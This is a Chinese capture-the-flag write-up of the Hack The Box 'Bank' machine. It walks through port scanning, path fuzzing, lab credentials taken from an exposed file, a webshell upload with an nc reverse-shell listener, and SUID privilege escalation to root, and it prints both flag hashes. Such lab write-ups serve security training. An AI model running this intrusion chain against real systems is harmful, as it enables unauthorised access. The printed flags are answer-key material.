HTB:Bank[WriteUP]

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

提取出靶机TCP开放端口

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用curl对域名进行访问

使用浏览器访问该域名

边界突破

使用ffuf对该域名进行路径FUZZ

访问balance-transfer接口可见大量.acc文件

点击右上角的Size按钮可对文件大小进行升序排列

通过上述凭证登录后,在左侧可见Support栏目

使用Yakit构造请求包发送Webshell

本地侧nc开始监听

权限提升

查看靶机系统内存在的用户

查找当前系统内的SUID文件


连接至HTB服务器并启动靶机

靶机IP:10.10.10.29

分配IP:10.10.16.13


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a 10.10.10.29 -r 1-65535 --ulimit 5000 | tee res

提取出靶机TCP开放端口
ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ','
22,53,80
                                                                                                                                  
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep syn-ack res | awk -F '/' '{print $1}' | paste -s -d ',')
                                                                                                                                  
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports                        
22,53,80

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -sT -p$ports -sCV -Pn 10.10.10.29

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.29

使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.29

  • 将靶机IP与bank.htb域名进行绑定
sed -i '1i 10.10.10.29 bank.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# sed -i '1i 10.10.10.29 bank.htb' /etc/hosts

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# head /etc/hosts -n 1
10.10.10.29 bank.htb

使用curl对域名进行访问

curl -I http://bank.htb

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://bank.htb
HTTP/1.1 302 Found
Date: Tue, 07 Jan 2025 09:12:29 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.21
Set-Cookie: HTBBankAuth=1ukl795lkhp59fqphdlk8s7gb0; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: login.php
Content-Type: text/html

使用浏览器访问该域名


边界突破

使用ffuf对该域名进行路径FUZZ

ffuf -u http://bank.htb/FUZZ -w ../dictionary/Entire-Dir.txt -t 200

访问balance-transfer接口可见大量.acc文件

点击右上角的Size按钮可对文件大小进行升序排列

  • 点击查看这个与其他.acc文件大小不一样的文件

  • 得到凭证

名称:Christos Christopoulos

邮箱:chris@bank.htb

密码:!##HTBB4nkP4ssw0rd!##

通过上述凭证登录后,在左侧可见Support栏目

  • 点击后可见该页支持文件上传

  • 键盘按Ctrl+U查看该页原码

  • 由该页注释可知,.htb文件可充当.php文件进行解析

使用Yakit构造请求包发送Webshell

  • My Tickets栏目中可见文件成功上传

本地侧nc开始监听
rlwrap -cAr nc -lvnp 1425
  • 直接点击Click Here访问Webshell文件,本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425                       
listening on [any] 1425 ...
connect to [10.10.16.13] from (UNKNOWN) [10.10.10.29] 45632
Linux bank 4.4.0-79-generic #100~14.04.1-Ubuntu SMP Fri May 19 18:37:52 UTC 2017 i686 athlon i686 GNU/Linux
 13:09:56 up  3:20,  0 users,  load average: 0.37, 0.09, 0.03
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

  • 提升TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

权限提升

查看靶机系统内存在的用户

cat /etc/passwd

  • 当前用户权限可以直接查看chris下的flag文件

www-data@bank:/$ find / -name 'user.txt' -type f 2>/dev/null
find / -name 'user.txt' -type f 2>/dev/null
/home/chris/user.txt
www-data@bank:/$ cat /home/chris/user.txt
cat /home/chris/user.txt
8fc44025442af344df63cad1c33e35c8

查找当前系统内的SUID文件

find / -perm -4000 -type f -ls 2>/dev/null

  • 直接运行/var/htb/bin/emergency文件即可提权至root用户

www-data@bank:/$ /var/htb/bin/emergency
/var/htb/bin/emergency
# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
# whoami
whoami
root

  • 在/root目录下找到root.txt文件

# find / -name 'root.txt' -type f
find / -name 'root.txt' -type f
/root/root.txt
# cat /root/root.txt
cat /root/root.txt
38e39916caa580e4ffaee0a6379444c9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/66662.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

智能码二维码生成器zhinengma.cn如何助力生产行业进行高效管理

智能码二维码生成器zhinengma.cn可通过以下方式助力生产行业进行高效管理1: 设备管理 设备信息整合与查询:为每台生产设备生成专属二维码,将设备基本信息、技术参数、操作手册、历史维护记录等整合并关联到二维码上。维护人员在设备现场用手机…

前端批量下载文件

背景 文件管理页面,后端只提供了一个根据 file_path 和 file_name 参数下载文件的API接口。产品需要支持用户多选之后的批量下载功能。 技术实现 基础代码 先调用下载接口,获取到二进制的文件流,然后通过 a 标签完成下载。 // return [r…

创建基本的 Electron 应用项目的详细步骤

创建一个基本的 Electron 应用项目的详细步骤。我们将从安装 Node.js 开始,然后创建项目文件夹并初始化 Electron 项目。 1. 安装 Node.js 首先,确保你已经安装了 Node.js 和 npm。你可以在终端中运行以下命令来检查是否已经安装: node -v…

TDengine + MQTT :车联网时序数据库如何高效接入

现代新能源汽车,作为一种内部系统极为复杂的交通工具,配备了大量传感器、导航设备、应用软件,这些传感器产生的数据都需要上报到车联网平台当中。对于这些车辆的状态数据(如车速、发动机转速等)、位置数据(…

2. Scala 高阶语法之集合与元组

背景 上一章简单介绍了scala是什么,以及scala的基础用法,本文介绍scala的高阶语法,希望看完本章之后,读者能体会到scala和java的明显区别,以及scala的强大之处。 1. 数组 Scala中提供了一种数据结构-数组&#xff0…

MDX语言的正则表达式

MDX语言中的正则表达式 引言 MDX(Multidimensional Expressions)是微软开发的一种用于分析服务的查询语言,主要用于处理多维数据集。MDX在商业智能和数据分析领域得到了广泛应用,尤其是在使用SQL Server Analysis Services&…

初学STM32 --- USMART

目录 USMART简介 USMART主要特点: USMART原理 USMART组成: USMART 的实现流程简单概括 USMART扫描函数: USMART系统命令 USMART移植 USMART简介 USMART是一个串口调试组件,可以大大提高代码调试效率! USMART主…

SQL编程语言

第一章 1. 数据库是长期储存在计算机内,由专门的数据管理软件(数据库管理系统),进行统一组织和管理控制的大量数据的集合。 2.数据库的基本特点不包括可以快速检索。 3. 数据管理技术的发展经历了:人工管理阶段、文件系统阶段、数据库系统阶…

LeetCode:165. 比较版本号(双指针 Java)

目录 165. 比较版本号 题目描述: 实现代码与解析: 双指针 原理思路: 165. 比较版本号 题目描述: 给你两个 版本号字符串 version1 和 version2 ,请你比较它们。版本号由被点 . 分开的修订号组成。修订号的值 是它…

【Spring】Mybatis缓存+ehcache

文章目录 基础缓存基于Spring的Mybatis缓存ehcacheCacheableCachePutCacheEvictCaching 基础缓存 一级缓存 SqlSession 级别的缓存,它是默认开启的。每当执行一个查询操作时,MyBatis 会首先从一级缓存中查找结果,如果找到了相应的数据&…

【STM32+QT项目】基于STM32与QT的智慧粮仓环境监测与管理系统设计(完整工程资料源码)

视频演示: 基于STM32与QT的智慧粮仓环境监测与管理系统设计 目录: 目录 视频演示: 目录: 前言:

Backend - C# 操作数据库 DB(ADO.NET、LINQ to SQL、EF)

目录 一、ADO.NET(传统) 二、LINQ to SQL(已过时) 三、EF(推荐) 常见的操作数据库的方法:有三种,分别是 ADO.NET、LINQ to SQL、EF 一、ADO.NET(传统) ADO.NE…

机器学习周报-ModernTCN文献阅读

文章目录 摘要Abstract 0 提升有效感受野(ERF)1 相关知识1.1 标准卷积1.2 深度分离卷积(Depthwise Convolution,DWConv)1.3 逐点卷积(Pointwise Convolution,PWConv)1.4 组卷积(Grou…

《OpenCV计算机视觉实战项目》——银行卡号识别

文章目录 项目任务及要求项目实现思路项目实现及代码导入模块设置参数对模版图像中数字的定位处理银行卡的图像处理读取输入图像,预处理找到数字边框使用模版匹配,计算匹配得分 画出并打印结果 项目任务及要求 任务书: 要为某家银行设计一套…

Yolo11改进:注意力改进|Block改进|ESSAformer,用于高光谱图像超分辨率的高效Transformer|即插即用

摘要 一、论文介绍 高光谱图像超分辨率的重要性:高光谱成像技术通过密集采样光谱特征,为材料区分提供丰富的光谱和空间结构信息,广泛应用于各领域。高光谱图像超分辨率(HSI-SR)旨在从低分辨率HSI生成高分辨率HSI。传统方法的局限性:传统方法依赖手工制作的先验,如低秩近…

概要性了解Linux的总线设备驱动

引言 假如我们的板子上有很多LED,有时候需要操作这个LED,有时候需要操作另一个LED,我们希望代码可以清晰地组织在一起,方便扩展,同时自动为这些具体的设备生成对应的设备文件以供用户空间使用。 在Linux中&#xff0…

Swift语言的正则表达式

Swift语言的正则表达式 正则表达式是一种用于匹配字符串的强大工具,它可以帮助开发者在文本处理中高效地搜索和操作字符串。在Swift语言中,正则表达式的支持是通过Foundation框架提供的。本文将全面介绍Swift中的正则表达式,从基础知识到进阶…

【LeetCode: 560. 和为 K 的子数组 + 前缀和 + 哈希表】

🚀 算法题 🚀 🌲 算法刷题专栏 | 面试必备算法 | 面试高频算法 🍀 🌲 越难的东西,越要努力坚持,因为它具有很高的价值,算法就是这样✨ 🌲 作者简介:硕风和炜,…

Tableau数据可视化与仪表盘搭建-可视化原则及BI仪表盘搭建

目录 可视化原则 BI仪表盘搭建 仪表盘搭建原则 明确仪表盘主题 仪表盘主题拆解 开发设计工作表 经营情况总览:突出显示的文字 经营数据详情:表格 每日营收数据:多轴折线图 每日流量数据:双轴组合图 新老客占比&#xf…

vue2日历组件

这个代码可以直接运行&#xff0c;未防止有组件库没安装&#xff0c;将组件库的代码&#xff0c;转成文字了 vue页面 <template><div class"about"><div style"height: 450px; width: 400px"><div style"height: 100%; overflo…